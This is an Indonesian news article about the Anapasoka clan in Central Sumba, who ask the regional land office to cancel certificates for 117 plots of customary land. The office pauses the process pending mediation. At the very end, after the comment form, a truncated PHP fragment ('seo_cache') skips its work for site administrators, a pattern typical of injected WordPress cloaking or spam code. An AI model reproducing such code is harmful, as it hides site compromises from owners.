Pemerintahan

Suku Anapasoka Minta Pembatalan, BPN Kabupaten Sumba Tengah Pending Penerbitan Sertifikat 117 Bidang Lahan yang Diduga Dilakukan Sepihak

×

Suku Anapasoka Minta Pembatalan, BPN Kabupaten Sumba Tengah Pending Penerbitan Sertifikat 117 Bidang Lahan yang Diduga Dilakukan Sepihak

Sebarkan artikel ini

WAIBAKUL, MENARASUMBA.COM Pengukuran tanah ulayat suku Anapasoka di Desa Manu Wolu, Kecamatan Mamboro, Kabupaten Sumba Tengah menuai penolakan.

Sejumlah warga suku Anapasoka beramai-ramai mendatangi Kantor Badan Pertanahan Nasional (BPN) Kabupaten Sumba Tengah, Senin (17/11/2025).

Kepala BPN Kabupaten Sumba Tengah, Abel Asa Mau, SST, M.AP menerima surat permohonan pembatalan yang diserahkan Kepala Suku Anapasoka. ( Foto Menara Sumba )

Dipimpin Kepala Suku Anapasoka, Umbu Tiru, dan didampingi penasehat hukum Indah Prasetyari, SH para warga diterima Kepala BPN Kabupaten Sumba Tengah, Abel Ada Mau, S.S.T, M.A.P bersama staf, termasuk Danramil Katiku Tana.

Proses sertifikasi 117 bidang lahan ini ditolak keras warga suku Anapasoka karena dilakukan oleh pihak yang tidak memiliki hak atas tanah ulayat tersebut.

Kepala Suku Anapasoka, Umbu Tiru menyampaikan, pihaknya kaget setelah mendapat informasi jika tanah ulayat ini telah diukur dan dalam proses penerbitan sertifikat.

Karena itu ia mendatangi Kantor BPN Kabupaten Sumba Tengah untuk menanyakan kebenaran informasi itu, sekaligus menyampaikan protes secara lisan.

“Tanggal 10 November 2025 saya (datang) di sini, menyampaikan secara lisan untuk pembatalan penerbitan sertifikat di Desa Manu Wolu,” ujar Umbu Tiru .

Saat itu, tuturnya lagi, informasi lisan ini disampaikan kepada salah satu staf BPN Kabupaten Sumba Tengah.

Selain itu, pihaknya juga berniat untuk mendapatkan penjelasan langsung terkait oknum yang telah meminta BPN melakukan pengukuran.

Sejumlah pemuka Suku Anapasoka yang ikut hadir saat penyerahan surat permohonan pembatalan penerbitan sertifikat, Senin (17/11/2025) di Kantor BPN Kabupaten Sumba Tengah. ( Foto Menara Sumba )

“Dari penjelasan staf di sini baru kami ketahui jika permintaan pengukuran tanah ulayat tersebut diajukan oleh oknum di luar suku Anapasoka ,” ungkap Umbu Tiru.

Setelah mendapatkan informasi dari pihak BPN rumpun keluarga suku Anapasoka pun bermufakat dan menyatakan sikap.

Ia menegaskan, seluruh rumpun Suku Anapasoka sepakat mengajukan surat permohonan pembatalan pengukuran tanah ulayat itu, termasuk segala proses terkait penerbitan sertifikat yang diduga sedang berlangsung.

“Karena itulah maka pada hari ini kami datang menyampaikan surat permohonan resmi pembatalan penerbitan sertifikat atas tanah milik suku,” tandasnya.

Minta Mediasi

Pada kesempatan itu, Kepala BPN Kabupaten Sumba Tengah menyatakan akan menindaklanjuti permohonan tersebut jika memang memenuhi bukti-bukti untuk pembatalan proses sertifikasi.

Menurut Abel, sebagai instansi pelayanan publik setiap permohonan masyarakat yang masuk akan ditindaklanjuti, termasuk permohonan pengukuran dan penerbitan sertifikat yang diajukan terhadap 117 bidang lahan itu

“Kita layani itu artinya mereka sudah memiliki persyaratan-persyaratan yang ditentukan,” sebutnya.

Namun jika ternyata apa yang disampaikan pihak Suku Anapasoka atas status kepemilikan tanah ulayat terbukti maka pihak BPN akan membatalkan seluruh proses tersebut.

Kepala BPN meminta agar dalam surat permohonan pembatalan yang diajukan dilampirkan bukti dan dokumen lain.

“Harus ada semacam satu dokumen juga, dokumen kepemilikan atau apa, yang membuat saya bisa batalkan orang punya proses hak ini,” tegasnya.

Setelah melewati dialog siang itu, Kepala BPN Kabupaten Sumba Tengah menawarkan opsi mediasi kedua belah pihak.

Disepakati mediasi itu akan dilakukan pada tanggal 10 Desember 2025 dengan menghadirkan kedua belah pihak di Kantor BPN Kabupaten Sumba Tengah.

Untuk sementara waktu BPN Kabupaten Sumba Tengah akan menghentikan proses penerbitan sertifikat atas 117 bidang lahan tersebut sambil menanti hasil mediasi dan perkembangan selanjutnya.

“Selaku pimpinan di sini saya nyatakan berkas-berkas itu kami file-kan dulu hingga persoalan ini klir,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>